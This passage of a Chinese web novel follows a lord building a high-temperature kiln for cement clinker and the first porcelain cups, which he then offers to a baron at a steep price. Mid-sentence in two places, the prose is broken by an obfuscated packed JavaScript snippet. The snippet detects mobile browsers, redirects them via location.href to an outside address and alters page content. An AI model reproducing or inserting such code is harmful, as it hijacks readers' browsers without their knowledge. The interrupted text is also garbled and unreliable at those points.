我们可以尽量提前告诉农民和牧民,告诉田间管理人,好做出应对准备。这对农事是一项巨大的帮助!如果您人手够的话,不止为农事观测气象那最好,是晴是雨,对放牧、对工程的实施,乃至人们的生活都有非常重要的作用!” 这是一项非常重要的任务,不可忽视,今后会存在,以后一直都会存在。想交给你们,相信你们的能力,现阶段,只有你们才能办到。” 贾文真诚地看着卡隆巫师,握住对方干枯的双手。后者则一直不说话,像是在费劲地消化贾文的话,又震惊于某种事实当中。 那干枯粗糙的手掌突然被抽开,随后,反过来握住骨手。 “……好。” “好!” 卡隆巫师几乎用尽全身力气捧住贾文的手,用所有可以承诺和担保的,对他说:“我们会尽力做到,不让您失望。任凭您差遣,钦定者大人,贾文大人。” 俩人一起轻轻笑着。 “具体的安排,晚些我来巫师塔找各位长老商议。”贾文起身准备离开。 “不必劳烦,我叫上他们一起到议事厅等您。” 贾文还想拒绝,被卡隆巫师后一句话逗笑:“那些老家伙本来就该出塔透透气了,塔里生出的蘑菇多得能和黑土豆炖汤。” 贾文不再推拒,为对方倒上一杯白水,老巫师受宠若惊地接下。 “那我先走了,还要去看混凝土做得怎么样,您好好休息。” 卡隆巫师目送贾文离开,许久后,他才坐回椅子上,侧过头,眺望远方景色。 初春的色彩如此明亮动人,万物新生,焕然一新,在冥土的每一寸角落悄然发生着变化。 卡隆确信,往后的每一年,冥窟的色彩都将更加明艳。 巫师族亦能如远处嫩草铺满平野,久逢甘霖后,发出新芽,塑造出他们独特的模样。 14.新窑水泥 告别卡隆巫师后,马夫牵来马匹,贾文骑跨上去,手指穿进皮手套。 “得益于”交通不便,交通工具极少,这才没过去多久,度过一段时间的腰疼腿疼屁股疼,他的骑术在日复一日的被迫练习下越发驾轻就熟,骑马反而是目前下来最便捷的了。 他招呼一声,火焰骑士与另外两名侍卫策马同行。几人穿过田野,极夜堡在身后越来越远,一路奔至新建窑场。 …… “领主大人。”窑场的负责人恭敬行礼。 贾文翻身下马,日头正好,晴空的光辉落在他的银色雕花面具上,泛着时而锋利,时而柔和的光泽。 今日佩戴的是半面面具,只盖住上半张脸。他掏出一块布,拢住鼻洞以下的地方,直接系在脑后。 “窑建得怎么样了?”他问,顺便戴上兜帽。 窑场负责人的脸上也罩着一块布,声音听起来比较闷:“回大人,差不多了,下午应该就能建好。” 贾文颔首,听着负责人向他详细汇报进展,向某个方向慢慢走去。 尘土在脚下浮动,渐渐向上飘散,空气染上一层浅薄的黄。放眼望去,此处的绝大部分人下半张脸基本都裹着布,偶有休息的取下来,时间稍长些,就会被监工提醒赶紧戴上。 一车又一车的石料、矿石、黏土等等材料往这里运送,在地上堆出一座座小山。 早已建成的一些窑炉烫着橙红的颜色,灰烬从侧边的底部徐徐散出,人们从上方开口投入石料与矿石。空气也被蒸得有些闷热,烧窑的味道不会好闻。 这些大多都是石灰窑,顾名思义,主要用来烧制石灰。而正在建造的一座窑似乎和它们不尽相同,临近竣工,贾文大致查看了一下形制,点点头,退出来。 几个火膛前面都围着幽影人,抬起一只胳膊对准火膛。他们一动不动,而火焰肉眼可见地变得旺盛许多。 照理来说,火越旺,木柴应当消耗更多。但他们施展的是魔法,魔法作用下,不会额外消耗燃料,火自己就能燃得更大更高了。 烧窑的人们十分感激幽影人愿意用魔法帮助他们,殊不知幽影人乐得如此。 玩家魔法等级不高,普遍又难练级,一种最基础,但相对也是最耗时的办法,就是对准自己可以施展魔法的东西,持续不断、一点一点攒出熟练度,熟练度再转换为魔法经验。 于是窑场出现大量幽影人,一半在不断参观和游玩,一半又一动不动地杵在原地,形成一副诡异之景。 一开始,人们看到他们呆呆站在火膛前,俨然一副石雕样,仿佛不论发生任何事,都不会被唤醒,着实有些奇怪和不安。 窑场负责人小心询问贾文,贾文也不好解释玩家一个个神游天外,其实是在挂机,脑子飞到论坛那边去了。 于是只说那是幽影人独特的休息方式,让他们不用搭理,负责人惴惴不安地应了。到现在,人们也终于习惯了幽影人这幅模样。 一车烧好的材料被运上板车,它们原先是石灰石和鹅卵石,现在成了生石灰,将作为生料。 人们记得第一次把鹅卵石烤成,领主命他们倒入桶里,加水进去。这水似是内含某种魔法,“侵蚀”了材料,将材料灼伤溶解,随即变得滚烫、沸腾。 当时第一次见到这种景象,所有人都害怕地往后退,以为自己目睹了某种邪恶巫术,否则水怎么会让石头化掉,木桶之中还散发着炉火般的灼热。 领主和幽影人却见怪不怪地看着,讨论着这些“反应”,并告诉他们,唯一危险的,只有小心别被烫伤。 渐渐适应后,人们虽然不害怕了,但还是会盯着瞧,感到特别神奇。这简直是天然的魔法。 除却生石灰,其余生料还有黏土、炼铁的废渣,统统被运来此地,显得窑场附近人异常地多。 贾文紧跟板车,来到一片地方,雇工正将几种生料按照比例配在一起,随后又送进炉里烘烤,烘干。 他跨过碎土和废铁渣,走到不远处的巨大石碾面前,一部分壮劳力战俘和牛一起推动牵动石磨。这一轮结束了,战俘们被允许短暂休息。 有人来收集碎渣,贾文上前摸起一把碎渣,隔着手套也能感受到,已经被碾得很细了。 “不错。”他说道。 手上之物正是刚才的生料,经过烘烤变成熟料。把熟料碾碎,再掺一定比例的水,水泥就是这样制成的。 单加水是水泥,再掺骨料进去,即为混凝土。 做水泥需要一定工序,怎样烘烤、碎石碾粉,以及按照多少比例混合,都是难关。 像方才把各种熟料碾碎,就是一种问题。 别看现在能拿这些比较坚硬的东西有办法,可以靠石碾尽量磨成粉,过程其实有魔法帮助:他和玩家观察之下发现,施加过魔法的火,再加上一部分能力有关石头、矿物的玩家进行“脆化”施法,才更容易将其磨粉。 可以利用魔法,但不能完全倚靠魔法。有些地方没魔法师,或者哪天玩家消失了,那该怎么办? 完全靠人工也十分费力,效率太低,贾文只能想办法,看看以后能否改进冥窟的水车,利用水力帮助碎石、碾磨。 而关于水泥配比,贾文被黑土豆提了个醒——即使冥土和他前世的世界十分相似,却也有许多不同。 现在所使用的各种材料,跟他认识的事物是否有着细微的差别?既然如此,那么他前世世界的许多材料配方比例,或许只能当做参考,而不是能够作为严格执行的标准了。 揣着这般疑问,一周前,他们开始尝试配制水泥。 事实果然如他所想,他在梦境图书馆搜集的水泥相关配方比,无法适用于冥窟。于是大家慢慢摸索,一点点调整,总算找到相对合适的配比! 只不过……贾文手套动了动,把熟料从手上搓散。 熟料质量不行,原因在于烘烤温度。若是暂时参照前世水泥,熟料烘烤的温度至少需要1450摄氏度。 甭说冥土了,界外王国目前都只能做出陶器。陶器烧制达不到那么高的温度,而瓷器必须更高温才能烧成,没见被制作出来。 相对应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“怎么样,新窑是不是建成了?” 旁边一人回答他:“是啊,在烧着呢!这窑跟其他的真不一样,该怎么说呢,有点圆乎乎的,像刚烤出来的面包?” “不知道会不会炸窑。” 听见有声音这么说,众人推搡着那人,叫他别说晦气话。 雇工含着一口豆麦糊,好奇地问:“炸窑是什么意思?” “就是器物坯体没烧好,最后炸开了。”幽影人混在众人中间,解释道。随后转向雇工,“我能吃一口面包吗?就一口,谢谢你。” 他们现在不怕幽影人了,雇工也想知道幽影人没嘴巴要如何吃饭,把面包递过去。 只见幽影人黑漆漆的面容没有变化,面包被吞进一个角落。幽影人用牙咬了咬面包,无坚不摧,放弃了。 大家看得乐呵,雇工也不嫌弃,拿回来,把泡得软些的一角掰给对方。 “开窑了!” 数个脑袋齐齐转向新窑的方向,窑门打开时,热浪从那头扑到众人身上。 顺着窑门往里面一窥,能看到的人数着有多少完好无损,有多少炸开了。宣布大部分都没炸开,大家感到很高兴,新窑烧东西没问题。 陶匠们则看出了不对,有些不敢相信自己的眼睛。 为什么…… 一般东西烧出来基本是红褐色,或者土黄色,不会那么浅…… 浅到不似陶器的颜色。 15.瓷器 待陶器冷却得差不多,窑场负责人首先拿起一个,摸在手里细细打量。 它只有手掌大小,模样是杯具,是他不曾见过的外形。颜色很浅,手上这个尤其白。表面摸着和普通陶器没什么差别,但相对没那么粗糙。 陶泥送入窑炉的时候他不在,不知道是有人给泥混了色,可要用什么上色,才能混得如此均匀?抑或……窑炉让它产生了变化? 其他陶匠也在聚集讨论是怎么回事,没注意到一名幽影人走近,口中含着食物,边咽边说:“都有,土不一样,窑也有作用。” 她站在负责人身边,接过浅白杯具。 “陶土本身比较白,所以烧出来是这个颜色。这个窑温度更高,才能烧得成瓷器。现在只是初烧,试验一下,还没上釉,等上釉了瓷器就做好了。” 她用了一种NPC方便理解的方式介绍,实际上是因为这种粘土含铁量底,胎土质量不错,杂质少,才会变得那么白。 “……瓷器?上釉?”负责人低声重复。 “啊……是你!”其中一个陶匠指着幽影人恍然道,“之前是你在做这些,还问我要过水和泥。” 幽影人点头,负责人迫切需要知道土从哪找来的。 “这附近不是就有高岭土吗,我用魔法收集了一些。”她举起虚影般的指头,指向北面的一座山。接着往反方向遥遥指去,“冥窟的最南边,还没开放……咳,总之临近你们另一片直辖领的地方,那边有更多黏土岩。” 这事贾文真不清楚,他同步翻开脑子里的冥窟地图,等回头试试能不能让玩家分享坐标,到时候更好寻找。 负责人又问:“上釉和瓷器是什么意思?” “跟我来。” 幽影人身后跟着一串人,走哪跟到哪,她将人们带到一个小木桶前,里面呈着许多浆水。她用木棍搅拌两圈,带出来一点,将附着在木棍上的浆水举给众人看。 “用高岭土——做这个杯具的土,再加上长石和石英弄成浆似的液体,这就是釉料。” 负责人碰了下木棍,沾点浆体在手上,指腹轻轻一碾,浆体是灰白色的。 幽影人拿起小杯子,负责人探头去看,仔细盯着她把杯子浸在釉料当中,手法稳当熟练,里外都浸一层灰白色。 “在给它上色吗?” “分情况,现在不算上色。”幽影人向他演示浸釉手法,“这是透明釉,虽然现在看着不透明,等之后你会发现,它还是坯体本身的颜色,但表面非常透亮光滑。” “釉料还有其他配法,如果用带颜色的矿石一起磨浆,可以给坯体上色。” 负责人指尖微动,心底有道声音在问,灰白到透明,这是否又是一种魔法? 他做过许多陶,知道一些东西经过烧制,火焰会让它产生不同的变化。 他觉得,火焰自身便带有魔法,让人无法理解:既能使事物消熔在它的红焰之下,也能令事物比原先更加坚硬。事物的不同,会造就不一样的结果。 看着亲手塑造出的东西被火选择,就像铁的淬炼,最后成形时的感受无法言喻,他迷恋着这些变化。 但负责人依旧保留怀疑,不知道灰白要怎么烧成透明,透明在领主和幽影人口中的“瓷器”上究竟是哪种效果。 若拆解此刻的感受,会抽出一根特殊的丝线。他不晓得那种情绪应该叫做什么,也像是由许多情绪混杂而成,粗暴点说,近似于恐惧。即使他不明白,因什么而恐惧,不想去面对。 幽影人浸好一个,粘得满手灰白,手指形状更加明显。其余人送来其他完好的坯体,她朝第一只茶具的方向扬了扬下巴。 “干了再拿去烧,差不多要一天,我会告诉你们要烧多久。” 她对负责人说,这里没有量温度的东西,不过只要多使用新窑,慢慢熟练把握好温度,之后能烤成的瓷器就会更多。 负责人一直等到天色渐暗,幽影人上好所有釉。许多人离开窑场,负责人让人收拾完该处理的东西,回到家中休息。 躺在床上时,被子包裹身体的触感,宛若成了开窑时的热浪,热度记忆犹新。工作那么久,他熟悉一切窑温,以及火焰色温,无法欺骗自己,新窑温度真的比以前的任何窑都高。 他闭紧双目,想象着幽影人的陶器被送进炉膛,金黄色在梦中燃烧。 …… 火光燃烧到第四日下午,梦中景象好似成了现实。 整整三个夜晚的梦里,他都无法看见最终成品。窑炉冷下去,负责人双眉拧成一条线,亲自参与开窑。 一些人进去把器物一件件搬出窑,负责人拿起来一个个观看,越是看,情绪在双手上反映得越明显。 他转着浅白的器物,细致地观察:幽影人没说错,颜色回到几天前看到的那样,表面一层透明了;全身无一处不是光滑的,即使手在抖,他还是拿得很紧,决不会让它掉地上。 这就是陶瓷,瓷器…… 生平第一次知道,特殊的陶土,可以做成这样好看的器物。 幽影人手艺很好,陶土塑形比较简单,却非常漂亮。他还不懂釉是怎么回事,然而肉眼能瞧得出来,表面那层浸得不是很厚,为器物锦上添花。 负责人放下瓷器,穿过一众围观赞叹的人群,听见那做陶瓷的幽影人说,有“吸烟”“惊釉”“无光”之类的情况。他无法理解,眼下没有去追问的念头,失魂落魄走到天光底下。 阳光晒得他满身刺痛,若之前的怀疑只是对于领主和幽影人的想法、说法,那此时此刻的怀疑,是对于自己。 看到成品的一刹那,懂得了极似恐惧的心绪蕴藏着哪种含义。 ——他不知道该如何面对,超越自己所认为的、最好的事物。这种“新”不禁让人担心,曾经熟悉且引以为傲的会不会被否定,然后被淘汰。 新的事物会屹立在火焰中心,而他是灰烬。 如果领主和幽影人直接带来属于他们世界的东西,兴许还能用其他说法说服自己,那是异界来物,和冥土没得比较。但新窑到瓷器的制成,一砖一瓦,每一块陶土,皆由冥土上的东西制造而成。他们带来的只是想法,或者换个说法,是这些事物的另一种可能性。 他们又是如何得知,如何发现的呢? 负责人回头看去,幽影人正在对一众陶匠毫无保留地讲解瓷器,几天前的上釉也允许所有人观摩,一点没藏着掖着。 为什么愿意如此毫无保留地传授技艺?因为按领主的说法,他们只是访客吗,不是生活在这片大陆,不用担心吃饭吗? 不懂的事情太多了,或许有些问题他永远无法知晓,无法厘清。 但是,有些事情他可以知道,想要弄懂,必须弄懂。 这双做了几十年陶器的手,不可能学不会怎么做瓷器。假如能够亲手做出一件瓷器…… 阳光似乎驱散了心口阴霾,他转身回到人堆当中,围聚着那名幽影人。 …… 依照贾文参考的窑——也就是前世的馒头窑,现在最高应该能烧到1300摄氏度。 水泥熟料烘烤要1450摄氏度,差一些距离,贾文只能寄希望于冥窟的物质能够自己争点气,不依靠魔法的情况下,温度低点也能成功。 有了新窑,一批熟料质量明显好不少,雇工们把新混的水泥进行捏成不同小块,进行阴干。而剩余一些水泥浆掺进粗细骨料,粗骨料为卵石碎石,细骨料为砂,拌成混凝土,同样等待晾干后检查效果。 贾文带着第一批烧成的瓷器回到极夜堡,准备找坦尼森和财务总管说点事。 坦尼森尚有一些事处理,稍后才能来,找到财务总管巴斯克斯时,仆人禀告对方正在和一位贵族会面。贾文本想等下再来找巴斯克斯,却见他们已从房门走出来,二人向他俯首行礼。 “很荣幸见到您,贾文大人。”贵族尊敬道。 巴斯克斯弯着圆眼,手掌托向身侧之人,向贾文介绍:“这是索托男爵,约塔普领主。今日造访是税款相关的事需要商议。” 贾文回以招呼,寒暄几句,他拆下手套,说:“着急 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15346994|165975||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离开吗,要不要去会客室坐会儿,喝杯水?” 贵族愣怔,本来打算离开,但封君开口怎能不应?马上垂首应下:“乐意至极,我的殊荣。” 三人来到会客室,贾文偏头和仆人低声吩咐几句。贵族有点紧张,同时不想在贾文面前露怯,在软椅上也正襟危坐。 趁这个间隙,财务总管圆润的身体往旁边拧,和他贴耳说了一句什么,贵族确认般回视财务总管,眼神交递之后,肩膀放松了些。 贾文语气平和:“方才听巴斯克斯说,你经营着一座葡萄园?” “是的,大人。主城当中有我们的约塔普葡萄酒贩卖,也有销往界外。” 贾文曾在财务总管那里了解到,冥土的贵族们有一部分不只依靠领地产出和上税获得财富,不少人亦参与经商。委托投资之外,也有亲自经营着一些生意。眼前的贵族便是亲自参与经商活动的一员。 巴斯克斯补充道:“约塔普的葡萄酒味道确实好,索托阁下在主城有一处宅邸,经常有人造访品酒哩!” “极夜堡酒窖里有吗?”见巴斯克斯摇头,贾文佯装不满,“说了半天好,酒窖竟然没有,还想在晚餐时候尝尝。” 另外二人笑起来,贵族微笑开口:“只要您想品尝,随时为您提供约塔普最好的佳酿。” 巴斯克斯没说错,新领主果然是好相与的人,贵族心想,放松了许多。 仆人端着托盘来到会客室,托盘上方放着三只杯子。贾文端起一只,透过袅袅热气,不动声色地观察对面二人反应。 财务总管身处极夜堡,自然听闻了一些消息,圆眼微微瞪大,首先反应过来,却没说什么,和旁侧贵族一起端详杯子。 贵族另一只手往杯底托了托,如此光滑的材质,生怕没拿稳,不小心摔了。 热柠檬薄荷水他一口没喝,被杯具的模样吸引全部注意力:这不是象牙做的,却有着近似象牙的浅色;表面光泽莹润,那是不同于银杯或铜杯的质感,如同水膜包裹全身,清透无比。 他尝了一口柠檬薄荷叶泡的热水,温度正合适,一点蜂蜜的甜融在水中。然而唇贴在杯口的时候,他又为唇上传来的触感而小小讶异。 由于表面非常光滑,加之热水的温度,双唇贴覆到杯壁,有着与众不同的坚硬与柔和。 贾文下半张脸没有面具遮盖,水从他的牙齿当中倒入。然后放下杯子,做好解答的准备。 “贾文大人,这就是您说的‘陶瓷’?”财务总管先开口。 “是的,窑场那边已经做好了。我们算是第一个用它喝了水的人。” 受此殊荣,二人立表荣幸。贵族询问陶瓷是何物,贾文向他简单解释。 闻言,贵族稍稍抬起小杯子,感叹道:“我还以为是象牙或者大理石做的,这近似于白的浅色,竟是靠泥土烧制而成……实在太漂亮了,样式也十分精致小巧,托在手里正合适。” 贾文唤来仆人,又有几只陶瓷杯被呈上来,以便他们观赏。 贾文走到贵族身侧,下巴全是骨头,自然看不出,此时的嘴角已经浅浅上扬。 财务总管巴斯里斯自看到端上的器具基本是杯具,便察觉到某种意图,从看不见的角度,和领主对视一眼,决定此刻开始噤声。 “索托男爵,看你很喜欢这些陶瓷杯具?” 怎么可能不喜欢?贵族连连称赞。新奇肯定是一方面,不论触感、外形、颜色都十分讨人喜爱。他平时会收集一些杯子,方便饮葡萄酒,使用的基本是铜杯或银杯。 “你主城的宅邸来往人多,用来接待贵客的话,是个不错的器具。”贾文续道,声音微不可查地低沉了些。 贵族俯低观察的身子一顿,顿得有点久。 半晌,贵族启唇:“如果找您买下两只这样款式的……瓷杯,是什么样的价格?” “一只十六银币,两只算下来,要一金十二银币。” 贵族猛然抬头,财务总管也面露惊异。 两只不到巴掌大的杯子,就要一金十二银币?!